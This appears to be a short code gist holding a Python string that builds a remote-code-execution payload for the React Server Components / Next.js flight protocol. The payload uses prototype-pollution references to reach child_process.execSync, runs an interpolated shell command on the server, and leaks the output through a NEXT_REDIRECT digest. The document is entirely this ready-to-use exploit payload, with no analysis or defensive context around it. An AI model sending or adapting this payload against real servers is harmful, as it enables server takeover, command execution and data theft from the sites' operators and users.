gistfile1.txt

# Standard payload used by many scanners
injection = (
    '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
    '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
    f'"var res=process.mainModule.require(\'child_process\').execSync(\'{safe_cmd}\')'
    '.toString().trim().replace(/\\\\n/g, \' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
    '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
    '"_formData":{"get":"$1:constructor:constructor"}}}'
)